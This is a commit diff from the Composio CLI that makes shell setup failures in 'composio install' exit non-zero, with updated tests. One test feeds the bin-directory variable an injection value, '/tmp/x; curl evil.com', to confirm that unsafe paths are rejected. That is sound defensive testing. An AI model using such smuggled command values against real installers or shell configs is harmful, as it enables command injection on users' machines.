Composio powers 1000+ toolkits, tool search, context management, authentication, and a sandboxed workbench to help you build AI agents that turn intent into action.
TypeScript agentic-aiagentsaiai-agentsaiagentsdeveloper-toolsfunction-callinggpt-4javascriptjsllmllmopsmcppythonremote-mcp-serverssetypescript
fix(cli): exit non-zero when shell setup aborts
jkomyno648e95727abc
diff --git a/ts/packages/cli/src/cli-main.ts b/ts/packages/cli/src/cli-main.tsindex 6a3c84f48..9f99486b0 100644--- a/ts/packages/cli/src/cli-main.ts+++ b/ts/packages/cli/src/cli-main.ts@@ -44,6 +44,7 @@ import { getVersion } from 'src/effects/version';import { mapOnlyComposioOverrideError } from 'src/services/composio-error-overrides';import { SetupSkillInstaller } from 'src/services/setup-skill-installer';import { SetupCommandError } from 'src/services/setup';+import { ShellSetupAbortError } from 'src/commands/install.cmd';// Layer is contravariant in ROut and covariant in E, so `never`/`unknown` accept any// produced context and error type while still pinning the requirements (RIn) to `never`.@@ -225,6 +226,16 @@ showUpdateNotice.pipe(process.exitCode = 1;})),+ Effect.catchIf(+ (error): error is ShellSetupAbortError => error instanceof ShellSetupAbortError,+ // `composio install` already printed the abort reason; the typed failure+ // only exists so the process exits non-zero and install.sh runs its+ // guarded inline PATH fallback instead of reporting a green install.+ () =>+ Effect.sync(() => {+ process.exitCode = 1;+ })+ ),Effect.withSpan('composio-cli', {attributes: {name: constants.APP_NAME,diff --git a/ts/packages/cli/src/commands/install.cmd.ts b/ts/packages/cli/src/commands/install.cmd.tsindex 0a2cd903b..1406c0741 100644--- a/ts/packages/cli/src/commands/install.cmd.ts+++ b/ts/packages/cli/src/commands/install.cmd.ts@@ -1,7 +1,7 @@import { Command, Options } from '@effect/cli';import { FileSystem, Path } from '@effect/platform';import type { PlatformError } from '@effect/platform/Error';-import { Array as Arr, Config, ConfigProvider, Effect, Option } from 'effect';+import { Array as Arr, Config, ConfigProvider, Data, Effect, Option } from 'effect';import { ComposioCliUserConfig } from 'src/services/cli-user-config';import { NodeOs } from 'src/services/node-os';import { NodeProcess } from 'src/services/node-process';@@ -35,6 +35,17 @@ const shellOpt = Options.choice('shell', SHELLS).pipe(export type Shell = (typeof SHELLS)[number];+/**+ * Aborted shell setup must fail the process: install.sh only runs its guarded+ * inline PATH fallback when `composio install` exits non-zero, so a successful+ * exit here would leave the user with no PATH setup and a green install. The+ * abort reason is already printed before this error is raised; cli-main.ts+ * maps it to exit code 1 without printing anything further.+ */+export class ShellSetupAbortError extends Data.TaggedError('commands/ShellSetupAbortError')<{+ readonly message: string;+}> {}+interface ShellConfig {readonly shell: Shell;readonly pathFiles: readonly string[];@@ -268,7 +279,7 @@ export const installShellIntegration = (params: {readonly shell?: Shell;}): Effect.Effect<void,- PlatformError,+ PlatformError | ShellSetupAbortError,TerminalUI | NodeOs | NodeProcess | FileSystem.FileSystem | Path.Path | ComposioCliUserConfig> =>Effect.gen(function* () {@@ -315,17 +326,18 @@ export const installShellIntegration = (params: {);if (!path.isAbsolute(binDir)) {- yield* failure('Resolved bin directory must be an absolute path.');+ const message = 'Resolved bin directory must be an absolute path.';+ yield* failure(message);yield* ui.outro('Aborted.');- return;+ return yield* new ShellSetupAbortError({ message });}if (isUnsafePath(binDir)) {- yield* failure(- 'Resolved bin directory contains unsafe characters and cannot be written to shell config.'- );+ const message =+ 'Resolved bin directory contains unsafe characters and cannot be written to shell config.';+ yield* failure(message);yield* ui.outro('Aborted.');- return;+ return yield* new ShellSetupAbortError({ message });}const isExplicitShell = params.shell !== undefined;diff --git a/ts/packages/cli/test/src/commands/install.cmd.test.ts b/ts/packages/cli/test/src/commands/install.cmd.test.tsindex dee1edb4a..d0efcc882 100644--- a/ts/packages/cli/test/src/commands/install.cmd.test.ts+++ b/ts/packages/cli/test/src/commands/install.cmd.test.ts@@ -5,7 +5,11 @@ import { describe, expect, layer } from '@effect/vitest';import { Effect, Exit } from 'effect';import { FileSystem } from '@effect/platform';import { NodeOs } from 'src/services/node-os';-import { installShellIntegration, type Shell } from 'src/commands/install.cmd';+import {+ installShellIntegration,+ ShellSetupAbortError,+ type Shell,+} from 'src/commands/install.cmd';import { makeTerminalUI } from 'src/services/terminal-ui';import { cli, TestLive, MockConsole } from 'test/__utils__';@@ -960,7 +964,8 @@ describe('CLI: composio install', () => {vi.stubEnv('SHELL', '/bin/zsh');vi.stubEnv('COMPOSIO_BIN_DIR', '/tmp/x; curl evil.com');- yield* install();+ const error = yield* install().pipe(Effect.flip);+ expect(error).toBeInstanceOf(ShellSetupAbortError);const lines = yield* MockConsole.getLines();const output = lines.join('\n');@@ -979,7 +984,8 @@ describe('CLI: composio install', () => {vi.stubEnv('SHELL', '/bin/zsh');vi.stubEnv('COMPOSIO_BIN_DIR', './bin');- yield* install();+ const error = yield* install().pipe(Effect.flip);+ expect(error).toBeInstanceOf(ShellSetupAbortError);const output = (yield* MockConsole.getLines()).join('\n');expect(output).toContain('must be an absolute path');@@ -996,7 +1002,8 @@ describe('CLI: composio install', () => {vi.stubEnv('SHELL', '/bin/zsh');vi.stubEnv('COMPOSIO_BIN_DIR', '/custom/bin:/tmp/extra');- yield* install();+ const error = yield* install().pipe(Effect.flip);+ expect(error).toBeInstanceOf(ShellSetupAbortError);const output = (yield* MockConsole.getLines()).join('\n');expect(output).toContain('Resolved bin directory');@@ -1013,7 +1020,8 @@ describe('CLI: composio install', () => {Effect.gen(function* () {vi.stubEnv('SHELL', '/bin/zsh');- yield* install({ execPath: "/tmp/o'brien/composio" });+ const error = yield* install({ execPath: "/tmp/o'brien/composio" }).pipe(Effect.flip);+ expect(error).toBeInstanceOf(ShellSetupAbortError);const output = (yield* MockConsole.getLines()).join('\n');expect(output).toContain('Resolved bin directory');